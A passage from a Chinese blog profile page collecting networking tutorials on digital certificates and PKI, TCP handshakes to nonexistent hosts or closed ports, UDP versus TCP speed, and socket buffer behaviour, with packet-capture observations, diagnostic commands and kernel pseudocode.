超超
IP:浙江
0关注数
22粉丝数
0获得的赞
工作年
编辑资料
链接我:

创作·41

全部
问答
动态
项目
学习
专栏
超超

数字证书的理解

前言「公开密钥加密」和「数字签名」无法保证公开密钥确实来自信息的发送者。因此,就算公开密钥被第三者恶意替换,接收方也不会注意到。数字证书可以完美的解决这一问题,保证公开密钥的正确性。处理流程图解A持有公开密钥PA和私有秘钥SA,现在想要将公开密钥PA发送给B。 首先,A需要向认证中心申请发行证书,证明公开密钥PA确实由自己生成。 认证中心里保管者他们自己准备的公开密钥PC和私有秘钥SC。 A将公开秘钥PA和包含邮箱信息的个人资料发送给认证中心。 认证中心对收到的资料进行确认,判断其是否为A本人的资料。确认完毕后,认证中心使用自己的私有秘钥SC,根据A的资料生成数字签名。 认证中心将生成的数字签名和资料放进同一个文件中。 然后,把这个文件发送给A A的数字证书如下 A将作为公开密钥的数字证书发送给了B。 B收到数字证书后,确认证书里的邮件地址确实是A的地址。接着,B获取了认证中心的公开密钥。 B对证书内的签名进行验证,判断它是否为认证中心给出的签名。证书中的签名只能用认证中心的公开密钥PC进行验证。如果验证结果没有异常,就能说明这份证书的确由认证中心发型。 B确认了证书是由认证中心发行的,且邮件地址就是A的之后,B从证书中取出A的公开密钥PA。这样,公开密钥便从A传到了B。 数字证书的安全性假设X冒充A,准备向B发送公开密钥PX。 但是,B没有必要信任以非证书形式收到的公开密钥。 假设X为了假冒A,准备在认证中心登记自己的公开密钥。然后X无法使用A的邮箱地址,因此无法获得A的证书。 原理解析通过数字证书,信息的接收者可以确认公开密钥的制作者。B得到了认证中心的公开密钥,就一定来自认证中心吗?由于公开密钥自身不能表示其制作者,所以有可能是冒充认证中的X所生成的。也就是说,这样同样存在公开密钥问题。 实际上,认证中心的公开密钥PC是以数字证书的形式交付的,会有更高级别的认证中心对这个认证中心署名。 例如,下图的树结构,上面的认证中心为下面的认证中心发行证书。那么,这个树结构是怎么生成的,假设存在一个被社会广泛认可的认证中心A。此时出现了一个刚成立的公司B,虽然B想要开展认证中心的业务,但它无法得到社会的认可。于是,B向A申请发行数字证书。当然A会对B能否开展认证中心业务进行适当检测,只要A发行了证书,公司B就可以向社会表示自己获得了公司A的信任。于是,通过大型组织对小组织的信赖担保,树结构就建立了起来。最顶端的认证中心被称为“根认证中心”,其自身的正当性由自己证明。对根认证中心自身进行证明的证书为“根证书”。如果根证书不被信任,整个组织就无法运转。因此根认证中心多为大型企业,或者与政府关联且已经取得了社会信赖的组织。 数字证书在网站中的运用上面讲述的是个人之间交付公开密钥的例子,在网站之间的通信也要用到数字证书。只要能收到来自网站的含有公开密钥的证书,就能确认该网站未被第三者冒充。此处的证书叫作“服务器证书”,同样由认证中心发行。个人的证书与他的有邮箱信息相对应,而服务器证书与域名信息相对应。因此,我们还可以确认网站域名和存储网站本身内容的服务器是由同一个组织来管理的。数字证书就是像这样通过认证中心来担保公开密钥的制作者,这一系列技术规范被统称为“公钥基础设施”。HTTPS数字证书网站配置https访问时,需要向相关权威机构申请数字证书,申请到数字证书后,将数字证书配置到项目里。我们就可以用浏览器通过https来访问这个网站了,这个权威机构是被浏览器官方授予了颁发权限,所以此处根节点是浏览器。如图所示,一个开启了https的网站,给你颁发证书的机构是浏览器官方指定的,所以浏览器就会显示连接是安全的。
0
0
0
浏览量557
超超

连接一个 IP 不存在的主机时,握手过程是怎样的?

鸽了好长时间了,最近很忙。以前工作忙完,就抽空写文章。现在忙完工作,还要一三五学驾照,二四六看家具。有同感的老铁们不要举手,拉到右下角点个"在看"就好了。真的,全怪某音。扯远了,回到今天的主题。方兄最近写了篇很赞的文章 写给想去字节写 Go 的你 ,里面提到了两个问题。连接一个 IP 不存在的主机时,握手过程是怎样的?连接一个 IP 地址存在但端口号不存在的主机时,握手过程又是怎样的呢?让我回想起曾经也被面试官问过类似的问题,意识到应该很多朋友会对这个问题感兴趣。所以来给大家唠唠。这两个问题可以延伸出非常多的点。看完了,说不定能加分!正常情况的握手过程是怎么样的上面提到的问题,其实是指TCP的三次握手流程。这绝对是面试八股文里的老股了。我们简单回顾下基础知识点。正常情况下的TCP三次握手在服务端启动好后会调用 listen() 方法,进入到 LISTEN 状态,然后静静等待客户端的连接请求到来。而此时客户端主动调用 connect(IP地址) ,就会向某个IP地址发起第一次握手,发送SYN 到目的服务器。服务器在收到第一次握手后就会响应客户端,这是第二次握手。客户端在收到第二次握手的消息后,响应服务的一个ACK,这算第三次握手,此时客户端 就会进入 ESTABLISHED状态,认为连接已经建立完成。通过抓包可以直观看出三次握手的流程。正常三次握手抓包连一个 IP 不存在的主机时,握手过程是怎样的那不存在的IP,分两种,局域网内和局域网外的。家用路由器局域网互联我以我家里的情况举例。家里有一台家用路由器。本质上它的功能已经集成了我们常说的路由器,交换机和无线接入点的功能了。其中路由器和交换机在之前写过的 《硬核图解!30张图带你搞懂!路由器,集线器,交换机,网桥,光猫有啥区别?》里已经详细介绍过了,就不再说一遍了。无线接入点基本可以认为就是个放出 wifi 信号的组件。家用路由器下,连着我的N台设备,包括手机和电脑,他们的IP都有个共同点。都是 192.168.31.xx 形式的。其中,我的电脑的IP是192.168.31.6 ,这个可以通过 ifconfig查到。符合这个形式的这些个设备,本质上就是通过各种设备(wifi或交换机等)接入到上图路由器的e2端口,他们共同构成一个局域网。因此,在我家,我们可以粗暴点认为只要是 192.168.31.xx 形式的IP,就是局域网内的IP。否则就是局域网外的IP,比如 192.0.2.2 。目的IP在局域网内因为通过 ifconfig 可以查到我的局域网内IP是192.168.31.6 ,这里盲猜末尾+1是不存在的 IP 。试了下,192.168.31.7 还真不存在。$ ping 192.168.31.7 PING 192.168.31.7 (192.168.31.7): 56 data bytes Request timeout for icmp_seq 0 Request timeout for icmp_seq 1 Request timeout for icmp_seq 2 Request timeout for icmp_seq 3 ^C --- 192.168.31.7 ping statistics --- 5 packets transmitted, 0 packets received, 100.0% packet loss于是写个程序尝试连这个IP 。下面的代码是 golang 写的,大家不看代码也没关系,放出来只是方便大家自己复现的时候用的。// tcp客户端 package main import (     "fmt"     "io"     "net"     "os" ) func main() {     client, err := net.Dial("tcp", "192.168.31.7:8081")     if err != nil {         fmt.Println("err:", err)         return     }     defer client.Close()     go func() {         input := make([]byte, 1024)         for {             n, err := os.Stdin.Read(input)             if err != nil {                 fmt.Println("input err:", err)                 continue             }             client.Write([]byte(input[:n]))         }     }()     buf := make([]byte, 1024)     for {         n, err := client.Read(buf)         if err != nil {             if err == io.EOF {                 return             }             fmt.Println("read err:", err)             continue         }         fmt.Println(string(buf[:n]))     } }然后尝试抓包。连一个不存在的IP(局域网内)抓包可以发现根本没有三次握手的包,只有一些 ARP 包,在询问“谁是 192.168.31.7,告诉一下 192.168.31.6” 。这里有三个问题为什么会发ARP请求?为什么没有TCP握手包?ARP本身是没有重试机制的,为什么ARP请求会发那么多遍?首先我们看下正常情况下执行connect,也就是第一次握手 的流程。正常connect的流程应用层执行connect过后,会通过socket层,操作系统接口,进程会从用户态进入到内核态,此时进入 传输层,因为是TCP第一次握手,会加入TCP头,且置SYN标志。tcp报头的SYN然后进入网络层,我想要连的是 192.168.31.7 ,虽然它是我瞎编的,但IP头还是得老老实实把它加进去。此时需要重点介绍的是邻居子系统,它在网络层和数据链路层之间。可以通过ARP协议将目的IP转为对应的MAC地址,然后数据链路层就可以用这个MAC地址组装帧头。我们看下那么ARP协议的流程是ARP流程1.先到本地ARP表查一下有没有 192.168.31.7 对应的 mac地址,有的话就返回,这里显然是不可能会有的。可以通过 arp -a 命令查看本机的 arp表都记录了哪些信息$ arp -a ? (192.168.31.1) at 88:c1:97:59:d1:c3 on en0 ifscope [ethernet] ? (224.0.0.251) at 1:0:4e:0:1:fb on en0 ifscope permanent [ethernet] ? (239.255.255.250) at 1:0:3e:7f:ff:fb on en0 ifscope permanent [ethernet]2.看下 192.168.31.7 跟本机IP 192.168.31.6在不在一个局域网下。如果在的话,就在局域网内发一个 arp 广播,内容就是 前面提到的 “谁是 192.168.31.7,告诉一下 192.168.31.6”。3.如果目的IP跟本机IP不在同一个局域网下,那么会去获取默认网关的MAC地址,这里就是指获取家用路由器的MAC地址。然后把消息发给家用路由器,让路由器发到互联网,找到下一跳路由器,一跳一跳的发送数据,直到把消息发到目的IP上,又或者找不到目的地最终被丢弃。4.第2和第3点都是本地没有查到 ARP 缓存记录的情况,这时候会把SYN报文放进一个队列(叫unresolved_queue)里暂存起来,然后发起ARP请求;等ARP层收到ARP回应报文之后,会再从缓存中取出 SYN 报文,组装 MAC 帧头,完成刚刚没完成的发送流程。如果经过 ARP 流程能正常返回 MAC 地址,那皆大欢喜,直接给数据链路层,经过 ring buffer 后传到网卡,发出去。但因为现在这个IP是瞎编的,因此不可能得到目的地址 MAC ,所以消息也一直没法到数据链路层。整个流程卡在了ARP流程中。而抓包是在数据链路层之后进行的,因此 TCP 第一次握手的包一直没能抓到,只能抓到为了获得 192.168.31.7 的MAC地址的ARP请求。发送数据时,是在经过数据链路层之后的 dev_queue_xmit_nit 方法执行抓包操作的,这是属于网卡驱动层的方法了。顺带一提,接收端抓包是在 __netif_receive_skb_core 方法里执行的,也属于网卡驱动层。感兴趣的朋友们可以以这个为关键词搜索相关知识点哈此时 因为 TCP 协议是可靠的协议,对于 TCP 层来说,第一次握手的消息,已经发出去了,但是一直没有收到 ACK。也不知道消息是出去后是遇到什么事了。为了保证可靠性,它会不断重发。而每一次重发,都会因为同样的原因(没有目的 MAC 地址)而尬在了 ARP 那个流程里。因此,才看到好几次重复的 ARP 消息。那回到刚刚的三个问题为什么会发 ARP 请求?因为目的地址是瞎编的,本地ARP表没有目的机器的MAC地址,因此发出ARP消息。为什么没有 TCP 握手包?因为协议栈的数据到了网络层后,在数据链路层前,就因为没有目的MAC地址,没法发出。因此抓包软件抓不到相关数据。为什么 ARP 请求会发那么多遍?因为 TCP 协议的可靠性,会重发第一次握手的消息,但每一次都因为没有目的 MAC 地址而失败,每次都会发出ARP请求。小结连一个 IP 不存在的主机时,如果目的IP在局域网内,则第一次握手会失败,接着不断尝试重发握手的请求。同时,本机会不断发出ARP请求,企图获得目的机器的 MAC 地址。并且,因为没能获得目的 MAC 地址,这些 TCP 握手请求最终都发不出去,目的IP在局域网外上面提到的是,目的 IP 在局域网内的情况,下面讨论目的IP在局域网外的情况。瞎编一个不是 192.168.31.xx 形式的 IP 作为这次要用的局域网外IP, 比如 10.225.31.11。先抓包看一下。连一个不存在的IP(局域网外)抓包这次的现象是能发出 TCP 第一次握手的 SYN包。这里有两个问题为什么连局域网外的 IP 现象跟连局域网内不一致?TCP 第一次握手的重试规律好像不太对?为什么连局域网外的IP现象跟连局域网内不一致?这个问题的答案其实在上面 ARP 的流程里已经提到过了,如果目的 IP 跟本机 IP 不在同一个局域网下,那么会去获取默认网关的 MAC 地址,这里就是指获取家用路由器的MAC地址。此时ARP流程成功返回家用路由器的 MAC 地址,数据链路层加入帧头,消息通过网卡发到了家用路由器上。消息会通过互联网一直传递到某个局域网为 10.225.31.xx 的路由器上,那个路由器 发出ARP 请求,询问他们局域网内的机器有没有叫 10.225.31.11的 (结果当然没有)。最终没能发送成功,发送端也就迟迟收不到目的机的第二次握手响应。因此触发TCP重传。TCP第一次握手的重试规律好像不太对?在 Linux 中,第一次握手的 SYN 重传次数,是通过 tcp_syn_retries 参数控制的。可以通过下面的方式查看$cat /proc/sys/net/ipv4/tcp_syn_retries 6这里的含义是指 syn重传 会发生6次。而每次重试都会间隔一定的时间,这里的间隔一般是 1s,2s,4s,8s, 16s, 32s .SYN重传而事实上,看我的截图,是先重试4次,每次都是1s,之后才是 1s,2s,4s,8s, 16s, 32s 的重试。这跟我们知道的不太一样。这个是因为我用的是macOS抓的包,跟linux就不是一个系统,各自的TCP协议栈在sync重传方面的实现都可能会有一定的差异。我还听说 oppo 和 vivo 的 syn重传 是0.5s起步的。而 windows 的 syn重传 还有自己的专利。这些冷知识大家可以不用在意。面试的时候知道linux的就够了,剩下的可以用来装逼。毕竟面试官不在意"茴"字到底有几种写法。连IP 地址存在但端口号不存在的主机的握手过程前面提到的是IP地址压根就不存在的情况。假如IP地址存在但端口号是瞎编的呢?目的IP是回环地址连回环地址,端口不存在抓包现象也比较简单,已经IP地址是存在的,也就是在互联网中这个机器是存在的。那么我们可以正常发消息到目的IP,因为对应的MAC地址和IP都是正确的,所以,数据从数据链路层到网络层都很OK。直到传输层,TCP协议在识别到这个端口号对应的进程根本不存在时,就会把数据丢弃,响应一个RST消息给发送端。连回环地址时端口不存在RST是什么?我们都是到TCP正常情况下断开连接是用四次挥手,那是正常时候的优雅做法。但异常情况下,收发双方都不一定正常,连挥手这件事本身都可能做不到,所以就需要一个机制去强行关闭连接。RST 就是用于这种情况,一般用来异常地关闭一个连接。它在TCP包头中,在收到置了这个标志位的数据包后,连接就会被关闭,此时接收到 RST的一方,一般会看到一个 connection reset 或 connection refused 的报错。TCP报头RST位目的IP在局域网内刚刚提到我的本机IP是 192.168.31.6 ,局域网内有台 192.168.31.1 。同样尝试连一个不存在的端口。连存在的局域网内IP,端口不存在抓包此时现象跟前者一致。唯一不同的是,前者是回环地址,RST数据是从本机的传输层返回的。而这次的情况,RST数据是从目的机器的传输层返回的。连外网地址时端口不存在目的IP在局域网外找一个存在的外网ip,这里我拿了最近刚白嫖的阿里云服务器地址 47.102.221.141 。(炫耀)进行连接连接,发现与前面两种情况是一致的,目的机器在收到我的请求后,立马就通过 RST标志位 断开了这次的连接。连存在的局域网外IP,端口不存在抓包这一点跟前面两种情况一致。熟悉小白的朋友们都知道,每次搞事情做测试,都会用 baidu.com 。这次也不例外,ping 一下 baidu.com ,获得它的 IP: 220.181.38.148 。$ ping baidu.com PING baidu.com (220.181.38.148): 56 data bytes 64 bytes from 220.181.38.148: icmp_seq=0 ttl=48 time=35.728 ms 64 bytes from 220.181.38.148: icmp_seq=1 ttl=48 time=38.052 ms 64 bytes from 220.181.38.148: icmp_seq=2 ttl=48 time=37.845 ms 64 bytes from 220.181.38.148: icmp_seq=3 ttl=48 time=37.210 ms 64 bytes from 220.181.38.148: icmp_seq=4 ttl=48 time=38.402 ms 64 bytes from 220.181.38.148: icmp_seq=5 ttl=48 time=37.692 ms ^C --- baidu.com ping statistics --- 6 packets transmitted, 6 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 35.728/37.488/38.402/0.866 ms发消息到给百度域名背后的 IP,且瞎随机指定一个端口 8080, 抓包。连baidu,端口不存在抓包现象却不一致。没有 RST 。而且触发了第一次握手的重试消息。这是为什么?这是因为baidu的机器,作为线上生产的机器,会设置一系列安全策略,比如只对外暴露某些端口,除此之外的端口,都一律拒绝。所以很多发到 8080端口的消息都在防火墙这一层就被拒绝掉了,根本到不了目的主机里,而RST是在目的主机的TCP/IP协议栈里发出的,都还没到这一层,就更不可能发RST了。因此发送端发现消息没有回应(因为被防火墙丢了),就会重传。所以才会出现上述抓包里的现象。防火墙安全策略总结连一个 IP 不存在的主机时如果IP在局域网内,会发送N次ARP请求获得目的主机的MAC地址,同时不能发出TCP握手消息。如果IP在局域网外,会将消息通过路由器发出,但因为最终找不到目的地,触发TCP重试流程。连IP 地址存在但端口号不存在的主机时不管目的IP是回环地址还是局域网内外的IP地址,目的主机的传输层都会在收到握手消息后,发现端口不正确,发出RST消息断开连接。当然如果目的机器设置了防火墙策略,限制他人将消息发到不对外暴露的端口,那么这种情况,发送端就会不断重试第一次握手。最后留个问题,连一个 不存在的局域网外IP的主机时,我们可以看到TCP的重发规律是:开始时,每隔1s重发五次 TCP SYN消息,接着2s,4s,8s,16s,32s都重发一次;对比连一个 不存在的局域网内IP的主机时,却是每隔1s重发了4次ARP请求,接着过了32s后才再发出一次ARP请求。已知ARP请求是没有重传机制的,它的重试就是TCP重试触发的,但两者规律不一致,是为什么?
0
0
0
浏览量483
超超

动图图解 | UDP就一定比TCP快吗?

话说,UDP比TCP快吗?相信就算不是八股文老手,也会下意识的脱口而出:"是"。这要追问为什么,估计大家也能说出个大概。但这也让人好奇,用UDP就一定比用TCP快吗?什么情况下用UDP会比用TCP慢?我们今天就来聊下这个话题。使用socket进行数据传输作为一个程序员,假设我们需要在A电脑的进程发一段数据到B电脑的进程,我们一般会在代码里使用socket进行编程。socket就像是一个电话或者邮箱(邮政的信箱)。当你想要发送消息的时候,拨通电话或者将信息塞到邮箱里,socket内核会自动完成将数据传给对方的这个过程。基于socket我们可以选择使用TCP或UDP协议进行通信。对于TCP这样的可靠性协议,每次消息发出后都能明确知道对方收没收到,就像打电话一样,只要"喂喂"两下就能知道对方有没有在听。而UDP就像是给邮政的信箱寄信一样,你寄出去的信,根本就不知道对方有没有正常收到,丢了也是有可能的。这让我想起了大概17年前,当时还没有现在这么发达的网购,想买一本《掌机迷》杂志,还得往信封里塞钱,然后一等就是一个月,好几次都怀疑信是不是丢了。我至今印象深刻,因为那是我和我哥攒了好久的钱。。。回到socket编程的话题上。创建socket的方式就像下面这样。fd = socket(AF_INET, 具体协议,0);注意上面的"具体协议",如果传入的是SOCK_STREAM,是指使用字节流传输数据,说白了就是TCP协议。如果传入的是SOCK_DGRAM,是指使用数据报传输数据,也就是UDP协议。返回的fd是指socket句柄,可以理解为socket的身份证号。通过这个fd你可以在内核中找到唯一的socket结构。如果想要通过这个socket发消息,只需要操作这个fd就行了,比如执行 send(fd, msg, ...),内核就会通过这个fd句柄找到socket然后进行发数据的操作。如果一切顺利,此时对方执行接收消息的操作,也就是 recv(fd, msg, ...),就能拿到你发的消息。对于异常情况的处理但如果不顺利呢?比如消息发到一半,丢包了呢?丢包的原因有很多,之前写过的《用了TCP协议,就一定不会丢包吗?》有详细聊到过,这里就不再展开。那UDP和TCP的态度就不太一样了。UDP表示,"哦,是吗?然后呢?关我x事"TCP态度就截然相反了,"啊?那可不行,是不是我发太快了呢?是不是链路太堵被别人影响到了呢?不过你放心,我肯定给你补发"TCP老实人石锤了。我们来看下这个老实人在背后都默默做了哪些事情。重传机制对于TCP,它会给发出的消息打上一个编号(sequence),接收方收到后回一个确认(ack)。发送方可以通过ack的数值知道接收方收到了哪些sequence的包。如果长时间等不到对方的确认,TCP就会重新发一次消息,这就是所谓的重传机制。流量控制机制但重传这件事本身对性能影响是比较严重的,所以是下下策。于是TCP就需要思考有没有办法可以尽量避免重传。因为数据发送方和接收方处理数据能力可能不同,因此如果可以根据双方的能力去调整发送的数据量就好了,于是就有了发送和接收窗口,基本上从名字就能看出它的作用,比如接收窗口的大小就是指,接收方当前能接收的数据量大小,发送窗口的大小就指发送方当前能发的数据量大小。TCP根据窗口的大小去控制自己发送的数据量,这样就能大大减少丢包的概率。滑动窗口机制接收方的接收到数据之后,会不断处理,处理能力也不是一成不变的,有时候处理的快些,那就可以收多点数据,处理的慢点那就希望对方能少发点数据。毕竟发多了就有可能处理不过来导致丢包,丢包会导致重传,这可是下下策。因此我们需要动态的去调节这个接收窗口的大小,于是就有了滑动窗口机制。看到这里大家可能就有点迷了,流量控制和滑动窗口机制貌似很像,它们之间是啥关系?我总结一下。其实现在TCP是通过滑动窗口机制来实现流量控制机制的。拥塞控制机制但这还不够,有时候发生丢包,并不是因为发送方和接收方的处理能力问题导致的。而是跟网络环境有关,大家可以将网络想象为一条公路。马路上可能堵满了别人家的车,只留下一辆车的空间。那就算你家有5辆车,目的地也正好有5个停车位,你也没办法同时全部一起上路。于是TCP希望能感知到外部的网络环境,根据网络环境及时调整自己的发包数量,比如马路只够两辆车跑,那我就只发两辆车。但外部环境这么复杂,TCP是怎么感知到的呢?TCP会先慢慢试探的发数据,不断加码数据量,越发越多,先发一个,再发2个,4个...。直到出现丢包,这样TCP就知道现在当前网络大概吃得消几个包了,这既是所谓的拥塞控制机制。不少人会疑惑流量控制和拥塞控制的关系。我这里小小的总结下。流量控制针对的是单个连接数据处理能力的控制,拥塞控制针对的是整个网络环境数据处理能力的控制。分段机制但上面提到的都是怎么降低重传的概率,似乎重传这个事情就是无法避免的,那如果确实发生了,有没有办法降低它带来的影响呢?有。当我们需要发送一个超大的数据包时,如果这个数据包丢了,那就得重传同样大的数据包。但如果我能将其分成一小段一小段,那就算真丢了,那我也就只需要重传那一小段就好了,大大减小了重传的压力,这就是TCP的分段机制。而这个所谓的一小段的长度,在传输层叫MSS(Maximum Segment Size),数据包长度大于MSS则会分成N个小于等于MSS的包。而在网络层,如果数据包还大于MTU(Maximum Transmit Unit),那还会继续分包。一般情况下,MSS=MTU-40Byte,所以TCP分段后,到了IP层大概率就不会再分片了。乱序重排机制既然数据包会被分段,链路又这么复杂还会丢包,那数据包乱序也就显得不奇怪了。比如发数据包1,2,3。1号数据包走了其他网络路径,2和3数据包先到,1数据包后到,于是数据包顺序就成了2,3,1。这一点TCP也考虑到了,依靠数据包的sequence,接收方就能知道数据包的先后顺序。后发的数据包先到是吧,那就先放到专门的乱序队列中,等数据都到齐后,重新整理好乱序队列的数据包顺序后再给到用户,这就是乱序重排机制。连接机制前面提到,UDP是无连接的,而TCP是面向连接的。这里提到的连接到底是啥?TCP通过上面提到的各种机制实现了数据的可靠性。这些机制背后是通过一个个数据结构来实现的逻辑。而为了实现这套逻辑,操作系统内核需要在两端代码里维护一套复杂的状态机(三次握手,四次挥手,RST,closing等异常处理机制),这套状态机其实就是所谓的"连接"。这其实就是TCP的连接机制,而UDP用不上这套状态机,因此它是"无连接"的。网络环境链路很长,还复杂,数据丢包是很常见的。我们平常用TCP做各种数据传输,完全对这些事情无感知。哪有什么岁月静好,是TCP替你负重前行。这就是TCP三大特性"面向连接、可靠的、基于字节流"中"可靠"的含义。不信你改用UDP试试,丢包那就是真丢了,丢到你怀疑人生。用UDP就一定比用TCP快吗?这时候UDP就不服了:"正因为没有这些复杂的TCP可靠性机制,所以我很快啊"嗯,这也是大部分人认为UDP比TCP快的原因。实际上大部分情况下也确实是这样的。这话没毛病。那问题就来了。有没有用了UDP但却比TCP慢的情况呢?其实也有。在回答这个问题前,我需要先说下UDP的用途。实际上,大部分人也不会尝试直接拿裸udp放到生产环境中去做项目。那UDP的价值在哪?在我看来,UDP的存在,本质是内核提供的一个最小网络传输功能。很多时候,大家虽然号称自己用了UDP,但实际上都很忌惮它的丢包问题,所以大部分情况下都会在UDP的基础上做各种不同程度的应用层可靠性保证。比如王者农药用的KCP,以及最近很火的QUIC(HTTP3.0),其实都在UDP的基础上做了重传逻辑,实现了一套类似TCP那样的可靠性机制。教科书上最爱提UDP适合用于音视频传输,因为这些场景允许丢包。但其实也不是什么包都能丢的,比如重要的关键帧啥的,该重传还得重传。除此之外,还有一些乱序处理机制。举个例子吧。打音视频电话的时候,你可能遇到过丢失中间某部分信息的情况,但应该从来没遇到过乱序的情况吧。比如对方打网络电话给你,说了:"我好想给小白来个点赞在看!"这时候网络信号不好,你可能会听到"我....点赞在看"。但却从来没遇到过"在看小白好想赞"这样的乱序场景吧?所以说,虽然选择了使用UDP,但一般还是会在应用层上做一些重传机制的。于是问题就来了,如果现在我需要传一个特别大的数据包。在TCP里,它内部会根据MSS的大小分段,这时候进入到IP层之后,每个包大小都不会超过MTU,因此IP层一般不会再进行分片。这时候发生丢包了,只需要重传每个MSS分段就够了。但对于UDP,其本身并不会分段,如果数据过大,到了IP层,就会进行分片。此时发生丢包的话,再次重传,就会重传整个大数据包。对于上面这种情况,使用UDP就比TCP要慢。当然,解决起来也不复杂。这里的关键点在于是否实现了数据分段机制,使用UDP的应用层如果也实现了分段机制的话,那就不会出现上述的问题了。总结TCP为了实现可靠性,引入了重传机制、流量控制、滑动窗口、拥塞控制、分段以及乱序重排机制。而UDP则没有实现,因此一般来说TCP比UDP快。TCP是面向连接的协议,而UDP是无连接的协议。这里的"连接"其实是,操作系统内核在两端代码里维护的一套复杂状态机。大部分项目,会在基于UDP的基础上,模仿TCP,实现不同程度的可靠性机制。比如王者农药用的KCP其实就在基于UDP在应用层里实现了一套重传机制。对于UDP+重传的场景,如果要传超大数据包,并且没有实现分段机制的话,那数据就会在IP层分片,一旦丢包,那就需要重传整个超大数据包。而TCP则不需要考虑这个,内部会自动分段,丢包重传分段就行了。这种场景下,其实TCP更快。
0
0
0
浏览量697
超超

动图图解!代码执行send成功后,数据就发出去了吗?

今天又是被倾盆的需求淹没的一天。有没有人知道,那种“我用3句话,就让产品为我砍了18个需求”的鸡汤课在哪报名,想报。"听懂掌声"的那种课就算了,太费手了。扯远了,回到我们今天的正题,我们了解下这篇文的目录。代码执行send成功后,数据就发出去了吗?回答这个问题之前,需要了解什么是Socket 缓冲区。Socket 缓冲区什么是 socket 缓冲区编程的时候,如果要跟某个IP建立连接,我们需要调用操作系统提供的 socket API。socket 在操作系统层面,可以理解为一个文件。我们可以对这个文件进行一些方法操作。用listen方法,可以让程序作为服务器监听其他客户端的连接。用connect,可以作为客户端连接服务器。用send或write可以发送数据,recv或read可以接收数据。在建立好连接之后,这个 socket 文件就像是远端机器的 "代理人" 一样。比如,如果我们想给远端服务发点什么东西,那就只需要对这个文件执行写操作就行了。那写到了这个文件之后,剩下的发送工作自然就是由操作系统内核来完成了。既然是写给操作系统,那操作系统就需要提供一个地方给用户写。同理,接收消息也是一样。这个地方就是 socket 缓冲区。用户发送消息的时候写给 send buffer(发送缓冲区)用户接收消息的时候写给 recv buffer(接收缓冲区)也就是说一个socket ,会带有两个缓冲区,一个用于发送,一个用于接收。因为这是个先进先出的结构,有时候也叫它们发送、接收队列。怎么观察 socket 缓冲区如果想要查看 socket 缓冲区,可以在linux环境下执行 netstat -nt 命令。# netstat -nt Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 60 172.22.66.69:22 122.14.220.252:59889 ESTABLISHED这上面表明了,这里有一个协议(Proto)类型为 TCP 的连接,同时还有本地(Local Address)和远端(Foreign Address)的IP信息,状态(State)是已连接。还有Send-Q 是发送缓冲区,下面的数字60是指,当前还有60 Byte在发送缓冲区中未发送。而 Recv-Q 代表接收缓冲区, 此时是空的,数据都被应用进程接收干净了。TCP部分【动图缓冲区的收发流程,TCP执行发收的流程】我们在使用TCP建立连接之后,一般会使用 send 发送数据。int main(int argc, char *argv[]) { // 创建socket sockfd=socket(AF_INET,SOCK_STREAM, 0)) // 建立连接 connect(sockfd, 服务器ip信息, sizeof(server)) // 执行 send 发送消息 send(sockfd,str,sizeof(str),0)) // 关闭 socket close(sockfd); return 0; }上面是一段伪代码,仅用于展示大概逻辑,我们在建立好连接后,一般会在代码中执行 send 方法。那么此时,消息就会被立刻发到对端机器吗?执行 send 发送的字节,会立马发送吗?答案是不确定!执行 send 之后,数据只是拷贝到了socket 缓冲区。至 什么时候会发数据,发多少数据,全听操作系统安排。在用户进程中,程序通过操作 socket 会从用户态进入内核态,而 send方法会将数据一路传到传输层。在识别到是 TCP协议后,会调用 tcp_sendmsg 方法。// net/ipv4/tcp.c // 以下省略了大量逻辑 int tcp_sendmsg() { // 如果还有可以放数据的空间 if (skb_availroom(skb) > 0) { // 尝试拷贝待发送数据到发送缓冲区 err = skb_add_data_nocache(sk, skb, from, copy); } // 下面是尝试发送的逻辑代码,先省略 }在 tcp_sendmsg 中, 核心工作就是将待发送的数据组织按照先后顺序放入到发送缓冲区中, 然后根据实际情况(比如拥塞窗口等)判断是否要发数据。如果不发送数据,那么此时直接返回。如果缓冲区满了会怎么办前面提到的情况里是,发送缓冲区有足够的空间,可以用于拷贝待发送数据。如果发送缓冲区空间不足,或者满了,执行发送,会怎么样?这里分两种情况。首先,socket在创建的时候,是可以设置是阻塞的还是非阻塞的。int s = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, IPPROTO_TCP);比如通过上面的代码,就可以将 socket 设置为非阻塞 (SOCK_NONBLOCK)。当发送缓冲区满了,如果还向socket执行send如果此时 socket 是阻塞的,那么程序会在那干等、死等,直到释放出新的缓存空间,就继续把数据拷进去,然后返回。如果此时 socket 是非阻塞的,程序就会立刻返回一个 EAGAIN 错误信息,意思是 Try again , 现在缓冲区满了,你也别等了,待会再试一次。我们可以简单看下源码是怎么实现的。还是回到刚才的 tcp_sendmsg 发送方法中。int tcp_sendmsg() { if (skb_availroom(skb) > 0) { // ..如果有足够缓冲区就执行balabla } else { // 如果发送缓冲区没空间了,那就等到有空间,至于等的方式,分阻塞和非阻塞 if ((err = sk_stream_wait_memory(sk, &timeo)) != 0) goto do_error; } } 里面提到的 sk_stream_wait_memory 会根据socket是否阻塞来决定是一直等等一会就返回。int sk_stream_wait_memory(struct sock *sk, long *timeo_p) { while (1) { // 非阻塞模式时,会等到超时返回 EAGAIN if (等待超时)) return -EAGAIN; // 阻塞等待时,会等到发送缓冲区有足够的空间了,才跳出 if (sk_stream_memory_free(sk) && !vm_wait) break; } return err; }如果接收缓冲区为空,执行 recv 会怎么样?接收缓冲区也是类似的情况。当接收缓冲区为空,如果还向socket执行 recv如果此时 socket 是阻塞的,那么程序会在那干等,直到接收缓冲区有数据,就会把数据从接收缓冲区拷贝到用户缓冲区,然后返回。如果此时 socket 是非阻塞的,程序就会立刻返回一个 EAGAIN 错误信息。下面用一张图汇总一下,方便大家保存面试的时候用哈哈哈。如果socket缓冲区还有数据,执行close了,会怎么样?首先我们要知道,一般正常情况下,发送缓冲区和接收缓冲区 都应该是空的。如果发送、接收缓冲区长时间非空,说明有数据堆积,这往往是由于一些网络问题或用户应用层问题,导致数据没有正常处理。那么正常情况下,如果 socket 缓冲区为空,执行 close。就会触发四次挥手。这个也是面试老八股文内容了,这里我们只需要关注第一次挥手,发的是 FIN 就够了。如果接收缓冲区有数据时,执行close了,会怎么样?socket close 时,主要的逻辑在 tcp_close() 里实现。先说结论,关闭过程主要有两种情况:如果接收缓冲区还有数据未读,会先把接收缓冲区的数据清空,然后给对端发一个RST。如果接收缓冲区是空的,那么就调用 tcp_send_fin() 